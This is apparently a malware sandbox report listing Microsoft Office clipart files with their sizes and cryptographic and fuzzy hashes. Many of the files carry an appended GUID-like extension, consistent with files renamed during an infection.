C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AN01044_.WMF.-16C06E83-81AD-7D23-B247-5A57886B0D29 3.02 KB MD5: c33a79156902d8fdcc0eac7b785a5d40
SHA1: 688e8494a367f987f328fc4914fcc586d7dd613b
SHA256: 775666e9b9ecc9771b6641a21ae9bf7fff63742542a6e814706dd701dfda16d5
SSDeep: 96:mpz2+qHrlTO6H0oXATTsIYcnsKV7kFj1+NrQpwZ66:mpPqL/HTAXswsi7ktkCp/6 		False
...
C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AN01060_.WMF.-16C06E83-81AD-7D23-B247-5A57886B0D29 9.25 KB MD5: 086f4755356366f5e896d148f23a4f4f
SHA1: 72077b41247fbbb4cd9f9952a7ce470120f1f596
SHA256: f670a14dc260ac3e2234760bb31a1933cd99a081b6aeb938bcb55d196c0382c9
SSDeep: 192:X7uCwhJ3c/p1rIpLUbopueNvRasgGWCUTVQJrRmr8PXjzrYYfVS7ktkCp/6:ru7apdIpLUbguyvQsgGWvVQFRmr8Pnkb 		False
...
C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AN01084_.WMF.-16C06E83-81AD-7D23-B247-5A57886B0D29 3.25 KB MD5: 57ceb392d8b0d5a5afe2732f40a06e92
SHA1: c0332888847721ec950eb073aff3e8fcc46cb588
SHA256: c7128671b5cfcd9a6c3bc05f9388c0913b70c892ee0802d9156966632da5febd
SSDeep: 96:WO3lhImzZw4wjQC9UADM4HyjWQRftmqpV7kFj1+NrQpwZ66:WOHImkjQ8fQ4IZftb7ktkCp/6 		False
...
c:\users\5p5nrgjn0js halpmcxz\appdata\local\virtualstore\program files\microsoft office\clipart\pub60cor\an01173_.wmf 25.72 KB MD5: a55b3d333cf3fa4df944cc13301af5b6
SHA1: c3995c31d233e2660cc6c47e56f498b3ae650cb6
SHA256: 4232786f3f6515adcd13a6f733792c0b8f76562e1e4a57e37fb4b651863238a0
SSDeep: 768:tm7L7wO+ec57BM0aRxDy6SwQAz4GKUZpqjsk5FcjZUSang2CB7eno4C7+GLGVrQ3:QTJK1AoOTPHAbDEayR8ECfQ 		False
...
C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AN01173_.WMF.-16C06E83-81AD-7D23-B247-5A57886B0D29 27.17 KB MD5: 4779200ebfc72534f40083dbaf7b43c1
SHA1: eafd74ac6f55da13c3c4a0c15e755af9f82c5d8e
SHA256: 73b035b3013895e4b4a2898e0ca2fb16c814e2d2dd7095c2de80488cdaeb41db
SSDeep: 384:P0ynmpCBW4gmngonZeo2lx7iPT1QGFdfgx8BgeDKnfxYSMxwtRjqMDysox5iHFYQ:7mvMUBC1QG/fG8BBKfKSkK/4x4HFYQ 		False
...
C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AN01184_.WMF.-16C06E83-81AD-7D23-B247-5A57886B0D29 5.13 KB MD5: 7f265d9c5786ae0d90d5c54e90967418
SHA1: a972fe254ec450d6cbe80894ef328c3e429b7c54
SHA256: e5e1164eb579e8e91991c2bb2f184de239717bc192e5523643d94cc7727fd5fa
SSDeep: 96:wLBf1zMi1J/nAQ+Okz51NGKotO5fbvgv+fvnYKIiuhWe21T8U/klLV7kFj1+NrQA:wLB6knAQqccpLgvIvnYKxuC1A9lZ7ktQ 		False
...
c:\users\5p5nrgjn0js halpmcxz\appdata\local\virtualstore\program files\microsoft office\clipart\pub60cor\an01216_.wmf 5.70 KB MD5: 814fecc38e98e50122a7985c9ffefbc8
SHA1: 3e99b20356b70d864d2691f2f9f52e271a636363
SHA256: fba81e3d475814bef77fa2d1cb4a8a7fdff55f5fbe17d255c1f2f62b4c0480ad
SSDeep: 96:eP15xV7KmcNgcIUosyf/ebFmSz2GVFXThlGPVUHXy1FG2UHXy1FGnjVsBkL8cWeO:e5xVGm8g9T/f/5S6GjXTPGPVJ/XJ/mlS 		False
...
C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AN01216_.WMF.-16C06E83-81AD-7D23-B247-5A57886B0D29 7.16 KB MD5: 3381d5ed22e8ce0516676a03a013be39
SHA1: e74a8799cf7e424946f0eec44ba7a9117e5fbfb4
SHA256: b346974799f13a9c514e62bc1d2d7eb7c741446112174bba5d9481d1c1df8450
SSDeep: 192:IZu+iLWwtf2fuRS1WrbB1/lIWir7O6U7ktkCp/6:Is+mtfhwWj9Idri6rZS 		False
...
c:\users\5p5nrgjn0js halpmcxz\appdata\local\virtualstore\program files\microsoft office\clipart\pub60cor\an01218_.wmf 2.94 KB MD5: 921bfc4a21e938e4357f0421ef4e584c
SHA1: ae2849f9c16d3e8eaca1cc201a703505738b7d9e
SHA256: 5cb6f31a06795da6b7fda3a3cd63deaf7fb53d2883d9adc4cdeac0aa726b75d4
SSDeep: 48:IK4/oELpo2/RLkBLkqOLkHLkkLkxLkRjALkDLk9LkoWLkL57LkKLkIhVLkOhXCL8:I1LTm2ooZGrkSuWLO6OXTfSqQlFrhnHq 		False
...
C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AN01545_.WMF.-16C06E83-81AD-7D23-B247-5A57886B0D29 8.66 KB MD5: 4d01d74ab89c66bb77a20b8119a5e031
SHA1: 7f98a9b12e02036e7e4e26d36e9c0585859bc8b6
SHA256: 3a3a11caa5353a127ec25d4003b0ffb8fe93cf686b3886b96b9357237c1d9cfd
SSDeep: 192:L/Soy0Px9GSSzdOnH9dlKDM1Z3z3NtL7ktkCp/6:LKoyI4JaH9nK41v+ZS 		False
...
c:\users\5p5nrgjn0js halpmcxz\appdata\local\virtualstore\program files\microsoft office\clipart\pub60cor\an02122_.wmf 7.36 KB MD5: a839a7edc756c1e23730fab4966874dd
SHA1: 559ecf2a4182660945e94c6df8e9700c55b5be5f
SHA256: 2ab179a87a40f130333cedd289fa9f733181184b59004d5dfbd933cd56c04306
SSDeep: 192:n0LUL84GibfbPE1cRMhvH8bTdpM+KsbTKjjN6qNcBC7d:nGULrGU41cRMhvH8bT4+JKHN6qNK8d 		False
...
c:\users\5p5nrgjn0js halpmcxz\appdata\local\virtualstore\program files\microsoft office\clipart\pub60cor\an02559_.wmf 6.48 KB MD5: ca4944faeb416010b52f992502560f00
SHA1: fdfa760f14e9102a2d8073f85f37f4994577ef1b
SHA256: 7d8a15726bbd6bcb83c9ef7f240e84ede2f21202554d89f15468047568865d44
SSDeep: 192:US66AOGAPivNkywd78jomSXuONYCxKdaKT0iqDq:r6IzKvO1HHzKc60iqDq 		False
...
C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AN02559_.WMF.-16C06E83-81AD-7D23-B247-5A57886B0D29 7.94 KB MD5: 91e9472f44f7cb520420d86a1ccb772c
SHA1: 438a4b8d51cd028457f327e028028ebb7fa0f92e
SHA256: b7a0d3c9745b52b88a30932bd2a63b48ec7f38884612a34f3666e7d30ef34492
SSDeep: 192:M+C+zJIwNDu3kF08Mn7yuw6AyaHsX19PW7ktkCp/6:Mn+9R03ky8Mn7yuw6AyaHkhZS 		False
...
C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AN02724_.WMF.-16C06E83-81AD-7D23-B247-5A57886B0D29 3.52 KB MD5: 085d79b723c9478948fd5839e7f6401c
SHA1: b7cf17276588a22d238c427f71d682e9248d473d
SHA256: 9495b9ed7e6ccb07b06080c6208c17a2054094cff1553893c67905f60828c04f
SSDeep: 96:85vtY4uglpcqi7fm5CwcCGeicV7kFj1+NrQpwZ66:89wqi7fmswdl7ktkCp/6 		False
...
c:\users\5p5nrgjn0js halpmcxz\appdata\local\virtualstore\program files\microsoft office\clipart\pub60cor\an03500_.wmf 9.02 KB MD5: e79832691f1d665b4108b20889c906d3
SHA1: 0a65e4a860f1ca5701a5b3c804e17136f3eab325
SHA256: 80602b4ce0caaeb6b99fdb41c3303aa155114d70490ce1bdb29d79332e6a9b54
SSDeep: 192:pPLbk6rn4tPpw4hUmQj/ZFU0jACkUJA7cjRLZTak62WrTNKWZiH5mK4aKrZKryiG:pPnF431hUV/ZFU0ECpocl9mk62WrpKWL 		False
...
C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AN03500_.WMF.-16C06E83-81AD-7D23-B247-5A57886B0D29 10.49 KB MD5: 3b33216953cb34546f55f87e8152a75e
SHA1: 7d82d1b5934097db06f0ef5ae2b25431aa0945e0
SHA256: 7ae32508f8375eddb0f2fd290f45bd9b38f1104ed006e8238c016851df7e3b1d
SSDeep: 192:Xv4qmZwkYtjIDvAnrUoFMu6MB+NOg2TY3czWNQdw3CfGbArW2qNwdplqo7ktkCpS:f4XajAQ4oFZEv2TYMCiyArZuwnwHZS 		False
...
C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AN04108_.WMF.-16C06E83-81AD-7D23-B247-5A57886B0D29 3.75 KB MD5: 6376be82fe8be47eec5a18add26f101a
SHA1: 15eff473de72a52a685e4e65aebfa3a9a3be0cf0
SHA256: 4ceecfab66690c49517cfe0999b2d7838043b9fd5de1a0edd9ba25460f43768c
SSDeep: 96:et+MZuD54OzCOZEGmRny1bGsV7kFj1+NrQpwZ66:etny50jan7ktkCp/6 		False
...
C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AN04117_.WMF.-16C06E83-81AD-7D23-B247-5A57886B0D29 7.38 KB MD5: 51628d186c8fa84c970c029bde530169
SHA1: dea6890febc08e4434abc673b0e01071979699c0
SHA256: 9503594e15b373396940624139e393fcec41c330d5b6af8e721725082f691aad
SSDeep: 192:I/wnyA2eLUw/e/8bRR7yi3WR2WD5noHCsOmLlB7ktkCp/6:jceL72/szOi3i22kRoZS 		False
...
c:\users\5p5nrgjn0js halpmcxz\appdata\local\virtualstore\program files\microsoft office\clipart\pub60cor\an04134_.wmf 3.34 KB MD5: 96f6b0f79668d0a59a29d032d5a1c10d
SHA1: fc783609aa3dd81ed5ad2e91ae9e157d39f55847
SHA256: 5af783d1ac5364a7e69c2e8a0989251cf966028ab709d0c463eedd132ef7fcee
SSDeep: 96:maf/aghCkXAph3Ua9qfYTy0dDIxXXJCHdc:fHBhCthkVfAddDIZc9c 		False
...
C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AN04134_.WMF.-16C06E83-81AD-7D23-B247-5A57886B0D29 4.80 KB MD5: 78ffeb4fd3589044fc5ed7a32245c923
SHA1: 40b153602c940589e5882ce9e4355ed92bcc0cef
SHA256: b4380c5f146bb656b161d2add91eefc0b14bf848bc40079f349440129041c65f
SSDeep: 96:oHxls49+jGfTjaKHZMjWJFWM1JilbL3W1tzxgaNWkuV7kFj1+NrQpwZ66:oHxlX+yfTmuBWUilKtzxDID7ktkCp/6 		False
...
C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AN04191_.WMF.-16C06E83-81AD-7D23-B247-5A57886B0D29 7.94 KB MD5: 623df738dfc91b7d3881b1b19b41ddb9
SHA1: 9f7aed601fe8469000bc9ec5cdb5b37d22c77e9c
SHA256: 8a9e7f06e755664209df891f4ecc11eabb744eb3ed018ba1593166b9ca327592
SSDeep: 192:pTAdQgdEFbVeKUQ3J1rdF1MaBNYITH14j/500W7ktkCp/6:lAdQO+bVQQ3JBVfTmjh0yZS 		False
...
c:\users\5p5nrgjn0js halpmcxz\appdata\local\virtualstore\program files\microsoft office\clipart\pub60cor\an04195_.wmf 4.50 KB MD5: bbd99f92bf08d5737d517226806fcc0f
SHA1: 515a8cac4221b2d9171ce28378e033bdba61f668
SHA256: 28d7304fb03403812cdadba9b8c6303c03014d09913ed20d5eeaa4a0f770b8d7
SSDeep: 96:bJYOWqJF9c0pEcZloazkMXviveifrPzLKAKoMBrA34kuKj9EnS+TD0xsen:dvVpfZlVnq9z3KALMBtkuKj9EnS+TD01 		False
...
C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AN04195_.WMF.-16C06E83-81AD-7D23-B247-5A57886B0D29 5.97 KB MD5: adf570a846eb536dd0e9ef2d02b35c89
SHA1: 37fbaf983a651f7314bbaf0d5910543f86369307
SHA256: 086e144130340604cf565ad6f302ae0b75935c563b7729f61cd6f9309503788c
SSDeep: 96:4scKbhXhgRkb3HjwrC6UxOzTGlAsmPPM5XLoVvX5IC9liicsE6OliV6X/s1IvPid:4PKFXhgRO3DwmdkiYXaLoVNljPOlilaK 		False
...
C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AN04206_.WMF.-16C06E83-81AD-7D23-B247-5A57886B0D29 8.96 KB MD5: 8bffc52bea137ee259e038be7923473b
SHA1: 47f362f539f38bb0db44dba247d185cf808c62e6
SHA256: af6f1849fd426fd897e1def75d712de59a9fa131e85b8ebba1063b890adb7155
SSDeep: 192:8NtJgwLzP++ParkRwKHwwJ9VPHy4DsDDoLHuCSwYxvvZcPQH0pVO07ktkCp/6:cJvlSrk7HwA9hfsDrCSwGBkQHwOLZS 		False
...
C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AN04235_.WMF.-16C06E83-81AD-7D23-B247-5A57886B0D29 9.08 KB MD5: 4ce6977df969916a98630660166ca2eb
SHA1: 3b0c4b5870950cfa882e2a0229d6b65cd6537c72
SHA256: 0b6ad1daa9343ae333c2f2e433ae8ca942ba701df21afbdb2d5a4a459846d7db
SSDeep: 192:dkcwFrdJu6jvxySNydgsYqYfdikKjILwU0a2qK87ktkCp/6:qcwFdzvISN7sYqwdikKjILOaAjZS 		False
...
c:\users\5p5nrgjn0js halpmcxz\appdata\local\virtualstore\program files\microsoft office\clipart\pub60cor\an04267_.wmf 7.62 KB MD5: d636308683435714128a1a41001f5fee
SHA1: d4c8b5b80c3137b4a1eac6198c0c71ab571795be
SHA256: 60a245b3aaab784bd3c212c8cbd5fca483f1bfa843e8edfa9f330f6b12aa48bd
SSDeep: 192:HErtsB1wI0E3ms1c400OFQ39XqQ88mCY5nBFq7vIRZOFAL7Z5X9iJlzpISFoliD:HErt8wI0E3ms230Oy39XqQ88mf5BF4vt 		False
...
c:\users\5p5nrgjn0js halpmcxz\appdata\local\virtualstore\program files\microsoft office\clipart\pub60cor\an04269_.wmf 1.97 KB MD5: 76fdf2ceb0ecc63802f61b807736bbcf
SHA1: ade2149a95dea7ebd584667c53d54c17358f7bb2
SHA256: 155c8434b0437a97bfe9de65b4c9388314802eed2751f5a882a3c2406a415acc
SSDeep: 48:1eaB4gYT8oKoCEAEHMK5YT2XMN4MDi+anW:QcJjpHT284BW 		False
...
C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AN04269_.WMF.-16C06E83-81AD-7D23-B247-5A57886B0D29 3.44 KB MD5: f0e01803957ab5a5677171c2b17812ac
SHA1: 21096ff7b10505d08755398ee341067ec43fdb2c
SHA256: a7929e2a0ba5656d47588949d1b5f4f7c7d34c4cff9af91a0f28782a25a2c54c
SSDeep: 48:OvX+sGSkOiLeNp5fVUsIlflCMZR8Vh3feA7FslmVR5kFj93+39rQpR62idl6rKj:W+Orp5DIlflnUxHh3V7kFj1+NrQpwZ66 		False
...
c:\users\5p5nrgjn0js halpmcxz\appdata\local\virtualstore\program files\microsoft office\clipart\pub60cor\an04332_.wmf 4.20 KB MD5: 1f24029d8daff1819a99c36c01edbedc
SHA1: 2d99c44d76f320b5aa32af2fa061afd72f37c338
SHA256: 5ab2fe1a1d27e75852737af33d073ef57411d84fd9f340cfd655953ad8ffb58f
SSDeep: 96:vJGRqy/SRERWnmFwIBHuO+q6bxn0OY278dB/YXmCYeQYshWfLlTJ0gTQ14Tk:hFytRWmHHuO+qQl0OT7OlCmCVQtOLlTi 		False
...
C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AN04332_.WMF.-16C06E83-81AD-7D23-B247-5A57886B0D29 5.66 KB MD5: 863344065b9d7afa1e25b6e90759759d
SHA1: a3c8d4ddd4e1fc7025b28fb349395d1718ba97ce
SHA256: e933e665fb5d434584d2700b9f54da78ec01bfa86a277c43ca7c8141ac6ddd2d
SSDeep: 96:B/MpYyARuvDb5v96Czq002VTGZ9qZKRPFZX6yXOpt+HgszIV7kFj1+NrQpwZ66:9Yxvf6O/TG/UMdqGlzs7ktkCp/6 		False
...
c:\users\5p5nrgjn0js halpmcxz\appdata\local\virtualstore\program files\microsoft office\clipart\pub60cor\an04355_.wmf 3.15 KB MD5: e3af6ec3a4acaa5096387012c521e242
SHA1: 6258e991437d04940ebdda2d8a2a0d5bd1b9feb5
SHA256: 92c57602505a815b9812dacb6090cf95cde23320ca627bd089cb889703879355
SSDeep: 96:sJ1bQxSlZEZvJtq4ByHyBBYewRdNVJ25+eyg:i1blZW7dgHgBYfJe 		False
...
C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AN04355_.WMF.-16C06E83-81AD-7D23-B247-5A57886B0D29 4.61 KB MD5: 88a31781acf7e087bb41861628ea35a3
SHA1: 76c33393a70af2cadec5cff05c90eb5d438af6fc
SHA256: 2ceb3c991b2c0ca38b4c2674f205b19b0e1b96de9230616ce5d7c8ca7f9f0366
SSDeep: 96:EKBP2CcIcCh6BxbbzNb89F4XQkiPrZKgoV7kFj1+NrQpwZ66:EKhwaadXNbnXVorMgM7ktkCp/6 		False
...
C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AN04384_.WMF.-16C06E83-81AD-7D23-B247-5A57886B0D29 6.35 KB MD5: d3c54b5332e00a3f8d7b4101b5f02ffa
SHA1: 07251dc0f5cc26f1855388f01b645497d69325c6
SHA256: 97fe8c20415ebaa75e0857d7cd1d970d115f74143a3b969928e2dbe22b3760df
SSDeep: 96:XmZ7xh64xjVryemgb4G4FA9l8JoG8SyMg2yxIcJrVb/CSRXGd4UV7kFj1+NrQpwt:X+BU69lqoGryayxI0F44o7ktkCp/6 		False
...
c:\users\5p5nrgjn0js halpmcxz\appdata\local\virtualstore\program files\microsoft office\clipart\pub60cor\baby_01.mid 7.21 KB MD5: 800cafc58c686ea77cc690f694d1077f
SHA1: 8c282e0203907f20e2382fe1f8d450e610d06438
SHA256: 80c4faf77b998423fec4f3e8c6dd7a06f7c2af52464cfc25a323b876ab74bb34
SSDeep: 192:RprCIC+CUC+CUC+C8kYJQQQQQex6KLRvs3DMA9WCuWCp:RpOIgUgUg8kYJQQQQQex1R5A9gp 		False
...
c:\users\5p5nrgjn0js halpmcxz\appdata\local\virtualstore\program files\microsoft office\clipart\pub60cor\bd00116_.wmf 4.76 KB MD5: 0d1dcdf9ed0a94e7148e445df2bc4de6
SHA1: c27a841ac5658568d003c7e5ca260456bff68bd1
SHA256: 3f7b2f380055056aef9617a6b80646ae79e2e07f7db2bf2bc43d6e5d261f385c
SSDeep: 96:z/JM0o/ci3Nwx4VJd0KjDediZmtyRVxpST4FQRd3L4FQRd3EVwFl02UqEYvTBR39:lMVyx4VJdfjDediZmt2xpG44b44UVKlx 		False
...
c:\users\5p5nrgjn0js halpmcxz\appdata\local\virtualstore\program files\microsoft office\clipart\pub60cor\bd00141_.wmf 26.26 KB MD5: e17493b59f429483d0e4f82a009e3574
SHA1: 6a6378fdcb35d8e5d0771c4575161695f01337f6
SHA256: 1885dd12afda150c65493807a723585f966ec374bd62887acc59f6e16bafcdc0
SSDeep: 768:GiwsdfX0GPPXlHM6OBQImAcm03LvQb3TiRt35MwRPE1HhYigq49/rsiTxmIEyqV+:wifPDVvNHQKQ1BCWBEd 		False
...
C:\Program Files\Microsoft Office\CLIPART\PUB60COR\BD00146_.WMF.-16C06E83-81AD-7D23-B247-5A57886B0D29 29.74 KB MD5: 109cdaa7fb074f0f2ec21a607b60320b
SHA1: b4584d22fab43ba6c86c3c62ce20f36b1af9b15a
SHA256: 4a2cb235b38d4d33259a9fd3d343590e19971c7daa67d19eef0e806105a88b04
SSDeep: 768:rYMGZTPDLjvndf8nEv9NuHLQSkquJe5E/1vuBuvZQ+oQ:rYbZTPDLB1LuHLnkqAe5YvxZQNQ 		False
...
C:\Program Files\Microsoft Office\CLIPART\PUB60COR\BD00155_.WMF.-16C06E83-81AD-7D23-B247-5A57886B0D29 12.83 KB MD5: c092aa02af2b2bf05be77f7802c90f99
SHA1: f3d91268e8106a4021cca4f00154a1f54d4a2ffe
SHA256: bd1de479effaf3695c9c9f5a8dd47dc2323c2c67aa1fe511c4bb7a6ca55274c2
SSDeep: 384:duJQt0oUhHYnx5N/uOlmalw1a9JPOGJzKT5zrCZS:CQtOHIZ/uGw89JmGJQz+Q 		False
...
c:\users\5p5nrgjn0js halpmcxz\appdata\local\virtualstore\program files\microsoft office\clipart\pub60cor\bd00160_.wmf 21.99 KB MD5: d73e5293af5cdc261f1ed60a0bbdbc7d
SHA1: d4430fdb810a917dc5e59a00274bf766b80e0be3
SHA256: 9aa10a7767b264ae1e9243db8130e018bdae1d919096cbe22d430c6ca9bfc189
SSDeep: 384:Is6r8M1mJk/dluq9s76GmW8BxdvzeDVoa5myWKYba38exzRui7c6JCuRKeSCz8Pu:I7r81Jk/2q9s9mW8Bxdvze5oaYyWKYbE 		False
...
C:\Program Files\Microsoft Office\CLIPART\PUB60COR\BD00160_.WMF.-16C06E83-81AD-7D23-B247-5A57886B0D29 23.46 KB MD5: 41b2a9d8959b45f4230be08e74d539a2
SHA1: 6129db79909294e14491c6b2e58c87b2d48bb731
SHA256: 33d4f615e53fda41bd44d06410db10fe6aa222e27c77a4b094ff0d0bbb428c42
SSDeep: 384:JByJ4TNtmBSBLLg3iLkTut4bf64f0sQD76J3a7hgscd4KpJZJh18K762uhglDG/M:LZLg3iLktbflf0H7oSqscLL15BEQ 		False
...
C:\Program Files\Microsoft Office\CLIPART\PUB60COR\BD00173_.WMF.-16C06E83-81AD-7D23-B247-5A57886B0D29 17.27 KB MD5: 290b98677635a511a0e8e4764270dfa3
SHA1: d8621137a9fc218c1909d1ca918c21af7f7f2b76
SHA256: 768e799c6e5523b2516eb4dce7c027fce6e430061bd529a997e5de6dd4dbe87d
SSDeep: 384:e5vFKYt95/VMMQbITlkg/2emwBZC5BxCP8n+JUgaZS:eBFKGbtnqITlkwmwKBQ0+egaQ 		False
...
c:\users\5p5nrgjn0js halpmcxz\appdata\local\virtualstore\program files\microsoft office\clipart\pub60cor\bd05119_.wmf 16.83 KB MD5: 361ec42b304d42bb30c82157fc4876ac
SHA1: 07b49dc5ac0b6b477a54b48b866a0cf53c791fb7
SHA256: 26b57cee23b72c0223a47228382c2e5ab549c144240acd64998a61b9f18cd491
SSDeep: 384:xL55ROgj/lrYyB8AqyFlxjM4bOzAAI9fTguitwCX7L:xpLZrHuAqGxHOzPjtwCX7L 		False
...
c:\users\5p5nrgjn0js halpmcxz\appdata\local\virtualstore\program files\microsoft office\clipart\pub60cor\bd06102_.wmf 15.74 KB MD5: 45f08ad773790dec024123b71e6153a9
SHA1: 4502ca02be53f0b59eb1b5bd9963110dba8d297d
SHA256: 613f497fb0b3d8079071183ac80942ebbb0dbee4eaad3fbf4a0db92b2fa135fa
SSDeep: 384:i4anifAYOE4INNPGMrvnA6/vJ4md9LmsHpBtYviXRIdRpYVkLWqRCwKdxMqivf8f:i4auAYOE4INNPGMrvnA6/vJ4mbysHpBd 		False
...
C:\Program Files\Microsoft Office\CLIPART\PUB60COR\BD06102_.WMF.-16C06E83-81AD-7D23-B247-5A57886B0D29 17.21 KB MD5: 755175306d055e3173887cb0169783eb
SHA1: 655496a4feced3507de1b90721d6a7abce7671d0
SHA256: 8ab21694bffe0bbbd8738be62c5a5fc7dbbb5423ec9e263d326a0e10bc52c705
SSDeep: 384:hyWtmHNVVna5iRnCuGhpHiVYvxW/EmOJAr93ZS:hyWtmHDRnACVY9zO93Q 		False
...
c:\users\5p5nrgjn0js halpmcxz\appdata\local\virtualstore\program files\microsoft office\clipart\pub60cor\bd07804_.wmf 4.81 KB MD5: 714977129caed5cfd38159c16830a7ea
SHA1: a2108a5236929c8809c8a8767fe1bdbd2d2bb17f
SHA256: 761fc87339ee96737c22125a75a2c0f76a0e4d0580b41a993ff720235d1b7afb
SSDeep: 96:0JQiGD3QayRZmJUdsYUHnIsSmLw0BhQLHC2ysjTYdlmQD/qorR3jT7d:6QiGsayRZGUdsYUHIsSms0BhQLHCtsT2 		False
...
C:\Program Files\Microsoft Office\CLIPART\PUB60COR\BD07804_.WMF.-16C06E83-81AD-7D23-B247-5A57886B0D29 6.27 KB MD5: 53a99220e290dc518cd3188e948a0b5b
SHA1: 4e62056b6b05ae5c29131a224bcc7cb1ba433d82
SHA256: 430cd3c927d4a8d02c41129bd02b0651598bf3310dd998789dd43a333382e145
SSDeep: 192:U4GvrnA4XMcSiptkeLs8r5Vgh7ktkCp/6:N098jMtkeLs8FVzZS 		False
...
C:\Program Files\Microsoft Office\CLIPART\PUB60COR\BD08758_.WMF.-16C06E83-81AD-7D23-B247-5A57886B0D29 25.22 KB MD5: 10411f16d11c9f0919bb7aa35b22b136
SHA1: 308b660b8b6a711047d2017124846e0054a96c65
SHA256: c57a664e2e6cef7a06e52a65766222d949b8587a2e0cbe87bb5616caeac31a52
SSDeep: 768:x5DtCFMFz0idrAyi5b1q2GPdnK1keVrjFAQ:XDoFMFIHy4Wns5XFAQ 		False
...
C:\Program Files\Microsoft Office\CLIPART\PUB60COR\BD08773_.WMF.-16C06E83-81AD-7D23-B247-5A57886B0D29 25.66 KB MD5: 2446869e05f8c73f992d6475f5bfa3f4
SHA1: e3872deb4e9c1b5b13c1e107b609afbf1ebd8189
SHA256: 4d645682b8014f930d554d2344ada3245183c487b014e4712a005e90bbd91d26
SSDeep: 768:Ot1HHRwcRZDa7ol0vfuSbwZ0WYAsey8BfXXtCNCgQ:wNCcRZDan9bbWYAse1Bft5gQ 		False
...
C:\Program Files\Microsoft Office\CLIPART\PUB60COR\BD08808_.WMF.-16C06E83-81AD-7D23-B247-5A57886B0D29 48.33 KB MD5: a298bf1702ddbd99ae1bcbcd49b11f87
SHA1: c843c35e25d578d5190d346bcb0b212a0bf4b805
SHA256: 917ae81c70d29efe18070fe44df6cfa1d6a5cac0b97fa21dbeafbf78e6f1284b
SSDeep: 1536:1FQVXb2asdUG4jobsJFJfFX9j5GQTgpm4HZvQ:zEXb2dfwZdX9UP5HZvQ 		False
...
C:\Program Files\Microsoft Office\CLIPART\PUB60COR\BD08868_.WMF.-16C06E83-81AD-7D23-B247-5A57886B0D29 40.74 KB MD5: 82d525f491ca3cb46d0d4c32405aa9d0
SHA1: 127a1929dca4824a1b41f6f9874173e5fc229cb5
SHA256: dcfe8a9fe2442fdf70167cd57794f247568be589d1e8b5366234be7dcf2186ae
SSDeep: 768:f4ulipBif3TBZW9hSiVq20uzQJRbRNOaxPjNjBsb+YzkQ:fvKBifVZQvVq2wRCaxPjRe+YYQ 		False
...
C:\Program Files\Microsoft Office\CLIPART\PUB60COR\BD09194_.WMF.-16C06E83-81AD-7D23-B247-5A57886B0D29 15.66 KB MD5: dc13c60bccdc4233711a51913d03c5f2
SHA1: a69b63237992fd3922c098acab234d9452a3ee7e
SHA256: b1b40914317cb927380e44ad2f297d0d498438c0fbd5ce3cec9ac371bb3dde94
SSDeep: 384:8nAkpv/1fpR/HhaK2vTjzX5rF3vuZRExDAZS:8nHdLJBuzX5532ZRExUQ 		False
...
c:\users\5p5nrgjn0js halpmcxz\appdata\local\virtualstore\program files\microsoft office\clipart\pub60cor\bd10972_.gif 19.72 KB MD5: df6b2f1be0e9dd21ff7cb42f2639971d
SHA1: 9e00b4a5c6ae90844e9228e84fe8c032ddfd674a
SHA256: dede6b3a4dca308660798cdf5f17f3d0db8fb9a555a7541b6195893f40e9aff8
SSDeep: 384:lSIX013bX99oje/jtXiM7t3acqk3tTHB2uuj9yhyqCVtK:ltXYgQtXiMB3xqkdTH29KGvK 		False
...
C:\Program Files\Microsoft Office\CLIPART\PUB60COR\BD19563_.GIF.-16C06E83-81AD-7D23-B247-5A57886B0D29 21.44 KB MD5: 4d4a47f458d966fab56e63091f76db15
SHA1: 5ce5ada20f08a9fd5634c27b8c68048d99777245
SHA256: b5957bb880962fb336bfb243d905135d0e713befd662b94b96967a308dc1cf8f
SSDeep: 384:419opK0tkFUr+Rqt9kNTLQOVDXQ1sQ9rSozkhR9yvrz8fJQRrbw3v1AqvO+Tv5Y7:ppKUkGr+RqT4TMOFZQsRhR9AsfaMvWCO 		False
...
C:\Program Files\Microsoft Office\CLIPART\PUB60COR\BD19582_.GIF.-16C06E83-81AD-7D23-B247-5A57886B0D29 16.83 KB MD5: 24ae534203e51e9759af12233c1f931d
SHA1: ed096980464f945eaf769646b67ee1479e5da1e6
SHA256: fdced675596180b4c445d82358041f54076e5f07d198c8d27fc34b9550e8710f
SSDeep: 384:+QSBd70Acmmqp9Wdbg9ao8Yqj4Kw8rOC4ApkipMuJZS:+Qed70AcmmqmVg9a23KFaCHKyQ 		False
...
C:\Program Files\Microsoft Office\CLIPART\PUB60COR\BD19695_.WMF.-16C06E83-81AD-7D23-B247-5A57886B0D29 14.14 KB MD5: 1605387989eca47e12540b4a0fd59515
SHA1: b4c627bc0762039c643412e13440b13275ffb5e7
SHA256: 74eacfbe63494dabb1b48b07190dbb2f4037da565705e767b4f928747c53a6c9
SSDeep: 384:22is36NNOF1qIZPrlKBZdlHfR5EegumalxC5L7/12ZS:29tN0FgI1sBZp5aumalx8bUQ 		False
...
c:\users\5p5nrgjn0js halpmcxz\appdata\local\virtualstore\program files\microsoft office\clipart\pub60cor\bd19827_.wmf 9.48 KB MD5: 2b47156c17773cc132d9b3bbbce0c4e1
SHA1: 079fa051d90d53930fb3c7386b1f7b15774dcd4b
SHA256: f8efdd42666356deaab8d00d7fcf57b01a5efe1ee028f13f01cefec9b6204b2a
SSDeep: 192:HOquE9PxA/YD43GYCoSTmBgSyapCY1l5kYzoCQ1JMhkptm56g/:HtnPxNzoSPVMCYRnzQPMuG56g/ 		False
...
